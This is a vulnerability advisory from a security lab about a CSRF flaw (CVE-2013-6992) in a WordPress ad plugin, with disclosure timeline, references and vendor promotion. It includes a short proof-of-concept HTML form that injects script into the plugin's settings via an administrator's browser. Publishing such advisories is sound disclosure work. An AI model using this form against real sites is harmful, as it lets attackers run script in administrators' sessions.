Total Tests:

Сross-Site Request Forgery (CSRF) in AskApache Firefox Adsense Wordpress plugin

Advisory ID:HTB23188
Product:Firefox Adsense Wordpress plugin
Vendor:AskApache
Vulnerable Versions:3.0 and probably prior
Tested Version:3.0
Advisory Publication:December 5, 2013 [without technical details]
Vendor Notification:December 5, 2013
Public Disclosure:December 26, 2013
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
CVE Reference:CVE-2013-6992
Risk Level:Low
CVSSv2 Base Score:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status:Not Fixed
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in AskApache Firefox Adsense Wordpress plugin, which can be exploited to perform Сross-Site Request Forgery (CSRF) attacks.

1) Сross-Site Request Forgery (CSRF) in AskApache Firefox Adsense Wordpress plugin: CVE-2013-6992
The vulnerability exists due to insufficient verification of the HTTP request origin in "/wp-admin/options-general.php" script. A remote attacker can trick a logged-in administrator to visit a specially crafted page with CSRF exploit, inject and execute arbitrary HTML and script code in administrator’s browser in context of vulnerable website.
The exploitation example below injects JavaScript code, which uses the "alert()" function to display "immuniweb" word:
<form action="http://[host]/wp-admin/options-general.php?page=askapache-firefox-ad sense.php" method="post" name="main">
<input type="hidden" name="aafireadcode" value='<script>alert("immuniweb");</script>'>
<input type="submit" id="btn">
</form>

How to Detect Cross-Site Request Forgery Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Disable the vulnerable plugin.

On 2013-12-06 vendor replied to our notification that he will not support the plugin anymore, and proposed to remove the vulnerable plugin as the official solution. The vendor has also taken steps to remove this plugin from WordPress.org.


References:
[1] High-Tech Bridge Advisory HTB23188 - https://www.immuniweb.com/advisory/HTB23188 - Сross-Site Request Forgery (CSRF) in AskApache Firefox Adsense Wordpress plugin.
[2] AskApache Firefox Adsense Wordpress plugin - http://wordpress.org/plugins/askapache-firefox-adsense/ - Displays a Google Adsense Ad for Firefox only for non-firefox users.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - Leveraging the power of machine-learning and genius of human brain to deliver the most advanced web application security and penetration testing.
[6] ImmuniWeb® SSLScan - Test your servers for security and compliance with PCI DSS, HIPAA and NIST.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a technical question?

Our security experts will answer within
one business day. No obligations.

Have a sales question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
Your data will stay private and confidential